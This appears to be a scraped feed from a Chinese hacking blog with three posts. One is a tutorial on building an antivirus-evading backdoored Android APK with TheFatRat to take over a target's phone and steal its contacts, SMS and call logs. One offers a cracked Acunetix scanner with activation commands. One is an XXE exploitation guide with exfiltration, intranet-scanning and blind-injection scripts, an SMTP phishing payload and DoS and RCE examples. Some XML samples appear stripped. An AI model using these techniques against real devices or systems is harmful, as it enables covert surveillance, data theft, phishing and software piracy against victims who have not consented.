Quantcast
Channel: 🔰雨苁ℒ🔰
Viewing all 323 articles
Browse latest View live

使用TheFatRat黑掉你的Android手机 构建后门程序

$
0
0

使用TheFatRat黑掉你的Android手机 黑客帝国

在这篇文章中,我们将教大家如何使用TheFatRat这款工具。这款工具可以帮大家构建后门程序,以及执行后渗透利用攻击等等。在主流Payload的帮助下,这款工具可以生成质量非常高的恶意软件,而这些恶意软件可以在Windows、Android和macOS平台上运行。

值得一提的是,TheFatRat所生成的恶意软件能够绕过反病毒产品,而这将允许攻击者拿到Meterpreter会话。

自动化Metasploit功能

  1. 针对Windows、Linux、Mac和Android创建后门;
  2. 后门可绕过反病毒产品;
  3. 检测/开启Metasploit服务;
  4. 针对Windows、Linux、Android和macOS创建meterpreterreverse_tcp Payload;
  5. 开启多个meterpreter reverse_tcp监听器;
  6. Searchsploit快速搜索;
  7. 绕过反病毒产品;
  8. 使用其他技术创建后门;
  9. 自动运行监听器脚本;

工具下载

下载地址:【GitHub传送门

下载命令:如下所示

git clone https://github.com/Screetsec/TheFatRat.gitcd TheFatRat

接下来,我们需要提供执行权限并运行setup.sh。

chmod +x setup.sh && ./setup.sh

安装过程大概需要10到15分钟,程序会自动检测缺失的组件,并自动完成依赖安装。

安装完成之后,程序会显示一个Payload创建列表:

使用TheFatRat黑掉你的Android手机

由于这篇文章主要介绍如何在原始APK文件中加入后门,所以我们需要选择第5个选项。

使用TheFatRat黑掉你的Android手机

与此同时,我们还需要下载一个Android应用程序安装文件-APK文件,然后输入文件路径。

完成之后,我们要选择需要的Meterpreter,这里选择reverse_tcp。

使用TheFatRat黑掉你的Android手机

接下来,你需要选择APK创建工具:

使用TheFatRat黑掉你的Android手机
使用TheFatRat黑掉你的Android手机

在APK的构建过程中,它会对原始APK进行反编译,并插入Payload,然后重新编译新的应用程序。它会使用混淆方法来嵌入Payload,并添加数字签名。

创建完成之后,你就可以把APK文件发送给目标手机了。接下来,我们需要通过msfconsole来设置设置哦我们的meterpreter会话。

使用TheFatRat黑掉你的Android手机

安装完成之后,你将会拿到meterpreter会话,然后完成设备的控制操作。

使用TheFatRat黑掉你的Android手机

输入“help”命令能够查看所有可执行的命令:

使用TheFatRat黑掉你的Android手机

你可以导出通话记录、通讯录、短信消息,伸直还可以远程截屏。

使用TheFatRat黑掉你的Android手机

from

and

The post 使用TheFatRat黑掉你的Android手机 构建后门程序 appeared first on 🔰雨苁ℒ🔰.


Awvs12破解版 Acunetix Scanner 12 cracked

$
0
0

Awvs12破解版 22个黑客技术练习网站

Acunetix是重要的财富500强公司使用的领先的Web漏洞扫描器,被广泛赞誉为包括最先进的SQL注入和XSS黑盒扫描技术。它自动爬行您的网站,并执行黑盒和灰盒黑客技术,发现危险的漏洞,可能危及您的网站和数据的漏洞。

awvs针对SQL注入、XSS、XXE、SSRF、主机头注入以及4500多个其他web漏洞的精确测试。awvs有最先进的扫描技术,产生尽可能少的假阳性。通过内置的漏洞管理特性,简化了Web应用程序安全过程,这些特性帮助您确定漏洞的优先级并管理漏洞解析。

拥有的特点
深入爬行和分析-自动扫描所有网站 
低误报率,漏洞检测率最高
集成漏洞管理-优先级和控制威胁
与流行的WAFS集成和发布跟踪器
网络安全扫描和手动测试工具
可在Windows、Linux和在线使用

在线扫描地址:online-scanner

下载地址:awvs12破解版下载   提取码: d6fr

awvs12破解版

awvs12破解版 使用方法

先安装Awvs12
后将补丁放入安装目录管理员权限执行
taskkill /im Activation.exe /f&&taskkill /im wvsc.exe /f
管理员权限执行补丁
注册信息随便填!

激活之后 管理员权限执行以下命令 防止反复注册
cacls “C:\ProgramData\Acunetix\shared\license.” /t /p everyone:r

awvs12破解版

工具来源于52破解 安全性自测   解压密码 www.ddosi.com

The post Awvs12破解版 Acunetix Scanner 12 cracked appeared first on 🔰雨苁ℒ🔰.

XXE漏洞详解 XXE漏洞是什么 XXE漏洞如何防范

$
0
0

XXE漏洞详解  22个黑客技术练习网站

一、XXE是什么

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞.

如图所示:

既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)

二、简单介绍一下背景知识:

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

三、基础知识

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

示例代码:

//这一行是 XML 文档定义





上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

示例代码:


Myself
Someone
TheReminder
This is an amazing book

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

示例代码:



]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:


&xxe;
mypass

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

重点来了:

重点一:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

示例代码:



]>

    &xxe;
    mypass

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:


这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

 
 ]> 
  
    Joe  
    &file;  
    ... 

2.参数实体:

(1)使用 

% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 
%实体名;
 引用

(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

"> 
 
%an-element; %remote-dtd;

抛转:

参数实体在我们 Blind XXE 中起到了至关重要的作用

四、我们能做什么

上一节疯狂暗示了 外部实体 ,那他究竟能干什么?

实际上,当你看到下面这段代码的时候,有一点安全意识的小伙伴应该隐隐约约能觉察出什么



]>

&xxe;
mypass

既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?

实验一:有回显读本地敏感文件(Normal XXE)

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件

本地服务器上放上解析 XML 的 php 代码:

示例代码:

xml.php

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload:

 
 ]> 
&goodies;

结果如下图:

但是因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,那么我么要是换成下面这个文件呢?

如图所示:

我们试一下:

结果如下图:

可以看到,不但没有读到我们想要的文件,而且还给我们报了一堆错,怎么办?这个时候就要祭出我们的另一个神器了——CDATA ,简单的介绍如下(引用自我的一片介绍 XML 的博客):

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
” 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记


XXXXXXXXXXXXXXXXX

]]>

可以输入任意字符除了 ]]> 不能嵌套

用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:

首先,找到问题出现的地方,问题出现在

...
 ]>
&goodies;

引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 “<![CDATA[“和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法

结果如下图:

注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在 DTD
中拼接,我们知道我们只有一种选择,就是使用 参数实体

payload:

 
   
  
  
 
%dtd; ]> 

&all;

evil.dtd

 

结果如下图:

感兴趣的童鞋可以分析一下整个调用过程,因为我在下面的例子中有分析一个类似的例子,于是出于篇幅考虑我这里就不分析了。

注意:

这里提一个点,如果是在 java 中 还有一个协议能代替 file 协议 ,那就是 netdoc ,使用方法我会在后面的分析 微信的 XXE
的时候顺带演示

新的问题出现

但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带

新的解决方法

想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)

实验二:无回显读取本地敏感文件(Blind OOB XXE)

xml.php

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd


">

payload:


%remote;%int;%send;
]>

结果如下:

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 

&#37;
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的思考:

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用:

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议

如图所示:

PHP在安装扩展以后还能支持的协议:

如图所示:

注意:

1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持

实验三:HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了

下面是一个探测脚本的实例:

import requests
import base64

#Origtional XML that the server accepts
#
#    user
#


def build_xml(string):
    xml = """"""
    xml = xml + "\r\n" + """"""
    xml = xml + "\r\n" + """]>"""
    xml = xml + "\r\n" + """"""
    xml = xml + "\r\n" + """    &xxe;"""
    xml = xml + "\r\n" + """"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

返回结果:

实验四:HTTP 内网主机端口扫描

找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测

比如我们传入:

  
  
]>
4

返回结果:

javax.xml.bind.UnmarshalException  
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document  
Internal Exception: ████████████████████████: Connection refused

这样就完成了一次端口探测。如果想更多,我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测

如下图所示:

至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)

实验五:内网盲注(CTF)

2018 强网杯 有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下:

首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞,我们输入 xml 以及 dtd 会出现报错

如图所示:

既然如此,那么我们是不是能读取该服务器上面的文件,我们先读配置文件(这个点是 Blind XXE ,必须使用参数实体,外部引用 DTD )

/var/www/52dandan.cc/public_html/config.php

拿到第一部分 flag


注意:

这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php
过滤器的一个压缩的方法

压缩:echo file_get_contents(“php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”);
解压:echo file_get_contents(“php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

然后我们考虑内网有没有东西,我们读取

/proc/net/arp
/etc/host

找到内网的另一台服务器的 ip 地址 192.168.223.18

拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了,然后我们发现开放了 80 端口,然后我们再进行目录扫描,找到一个 test.php ,根据提示,这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD 中包含的,现在我们需要改变我们的请求,那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件,于是我们的脚本就要挂在我们的 VPS 上,一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求,脚本就像下面这个样子

示例代码:

import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
        "name":"evil_man",
        "email":"testabcdefg@gmail.com",
        "comment":"""
                
                %dtd;]>
                """
}

for i in range(0,28):
        for j in range(48,123):
                f = open('./evil.dtd','w')
            payload2 = """
                ">
                %all;
                %send;""".format('_'*i+chr(j)+'_'*(27-i))
                f.write(payload2)
                f.close()
                print 'test {}'.format(chr(j))
                r = s.post(url,data=data)
                if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
                        result += chr(j)
                        print chr(j)
                        break
print result

这道题难度比加大,做起来也非常的耗时,所有的东西都要靠脚本去猜,因此当时是0解

实验六:文件上传

我们之前说的好像都是 php 相关,但是实际上现实中很多都是 java 的框架出现的 XXE 漏洞,通过阅读文档,我发现 Java 中有一个比较神奇的协议 jar:// , php 中的 phar:// 似乎就是为了实现 jar:// 的类似的功能设计出来的。

jar:// 协议的格式:

jar:{url}!{path}

实例:

jar:http://host/application.jar!/file/within/the/zip

这个 ! 后面就是其需要从中解压出的文件

jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的(因此 phar:// 一般用于绕过文件上传,在一些2016年的HCTF中考察过这个知识点,我也曾在校赛中出过类似的题目,奥,2018年的 blackhat 讲述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出过这道题)

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件

那么我们怎么找到我们下载的临时文件呢?

因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用

下面是我的一些测试过程:

我首先在本地模拟一个存在 XXE 的程序,网上找的能直接解析 XML 文件的 java 源码

示例代码:

xml_test.java

package xml_test;
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

/**
 * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
 * @author zhanglong
 *
 */
public class xml_test
{
    public static void main(String[] args) throws Exception
    {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();

        Document doc = db.parse(new File("student.xml"));
        //获得根元素结点
        Element root = doc.getDocumentElement();

        parseElement(root);
    }

    private static void parseElement(Element element)
    {
        String tagName = element.getNodeName();

        NodeList children = element.getChildNodes();

        System.out.print("<" + tagName);

        //element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
        NamedNodeMap map = element.getAttributes();

        //如果该元素存在属性
        if(null != map)
        {
            for(int i = 0; i < map.getLength(); i++)
            {
                //获得该元素的每一个属性
                Attr attr = (Attr)map.item(i);

                String attrName = attr.getName();
                String attrValue = attr.getValue();

                System.out.print(" " + attrName + "=\"" + attrValue + "\"");
            }
        }

        System.out.print(">");

        for(int i = 0; i < children.getLength(); i++)
        {
            Node node = children.item(i);
            //获得结点的类型
            short nodeType = node.getNodeType();

            if(nodeType == Node.ELEMENT_NODE)
            {
                //是元素,继续递归
                parseElement((Element)node);
            }
            else if(nodeType == Node.TEXT_NODE)
            {
                //递归出口
                System.out.print(node.getNodeValue());
            }
            else if(nodeType == Node.COMMENT_NODE)
            {
                System.out.print("");
            }
        }

        System.out.print("" + tagName + ">");
    }
}

有了这个源码以后,我们需要在本地建立一个 xml 文件 ,我取名为 student.xml

student.xml


]>
&remote;

目录结构如下图:

可以清楚地看到我的请求是向自己本地的 9999 端口发出的,那么9999 端口上有什么服务呢?实际上是我自己用 python 写的一个 TCP 服务器

示例代码:

sever.py

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

这个服务器的目的就是接受客户端的请求,然后向客户端发送一个我们运行时就传入的参数指定的文件,但是还没完,实际上我在这里加了一个 sleep(30),这个的目的我后面再说

既然是文件上传,那我们又要回到 jar 协议解析文件的过程中了

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件

那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的

jar:http://localhost:9999/jar.zip!/1.php

1.php 在这个 jar.zip 中没有的话,java 解析器就会报错,说在这个临时文件中找不到这个文件

如下图:

既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题

下面是我的实验录屏:

实验就到这一步了,怎么利用就看各位大佬的了(坏笑)

我后来在LCTF 2018 出了这样一个 CTF 题目,详细的 wp 可以看我的这篇文章

实验七:钓鱼:

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼(一下实例来自fb 的一篇文章 )

Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

示例代码:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

示例代码:

ftp://a
EHLO a
MAIL FROM: 
RCPT TO: 
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

实验八:其他:

除了上面实验中的一些常见利用以外还有一些不是很常用或者比较鸡肋的利用方式,为了完整性我在这一节简单的说一下:

1.PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

]>

&cmd;

2. 利用 XXE 进行 DOS 攻击

示例代码:


     
     
     
     
     
     
     
     
     
     ]>
     &lol9;

五、真实的 XXE 出现在哪

我们刚刚说了那么多,都是只是我们对这个漏洞的理解,但是好像还没说这种漏洞出现在什么地方

如今的 web 时代,是一个前后端分离的时代,有人说 MVC 就是前后端分离,但我觉得这种分离的并不彻底,后端还是要尝试去调用渲染类去控制前端的渲染,我所说的前后端分离是,后端 api 只负责接受约定好要传入的数据,然后经过一系列的黑盒运算,将得到结果以 json 格式返回给前端,前端只负责坐享其成,拿到数据json.decode 就行了(这里的后端可以是后台代码,也可以是外部的api 接口,这里的前端可以是传统意义的前端,也可以是后台代码)

那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用,比如下面这个

实例一:模拟情况

示例代码:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1



   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      XML is the best!
   

我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}

但是如果我们传入一个恶意的代码


]>

   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      &xxe;
   

如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

实例二:微信支付的 XXE

前一阵子非常火的微信支付的 XXE 漏洞当然不得不提,

漏洞描述:

微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品

我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中

如图所示:

问题就出现在我横线划出来的那部分,也就是简化为下面的代码:

public static Map xmlToMap(String strXML) throws Exception {
try {
Map data = new HashMap();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);

我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞,下面是我实验的步骤

首先我在 com 包下又新建了一个包,来写我们的测试代码,测试代码我命名为 test001.java

如图所示:

test001.java


[crayon-5c113d5437d1c691007273 inline="true" ]package com.test.test001;import java.util.Map;import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;public class test001 { public static void main(String args[]) throws Exception { String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" + "<!DOCTYPE XDSEC [\r\n" + "<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" + "<XDSEC>\r\n"+ "<XXE>&xxe;</XXE>\r\n" + "</XDSEC>"; try{ Map<String,String> test = xmlToMap(xmlStr); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } }}
[/crayon]

我希望它能读取我 D 盘下面的 1.txt 文件

运行后成功读取

如图所示:

当然,WXPayXmlUtil.java 中有这个 sdk 的配置项,能直接决定实验的效果,当然后期的修复也是针对这里面进行修复的

http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false

整个源码我打包好了已经上传到我的百度云,有兴趣的童鞋可以运行一下感受:

链接:https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw 提取码:xq1b

上面说过 java 中有一个 netdoc:/ 协议能代替 file:/// ,我现在来演示一下:

如图所示:

实例三:JSON content-type XXE

正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击

原始请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml

进一步请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

最终的请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288


]>

name
&xxe;

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

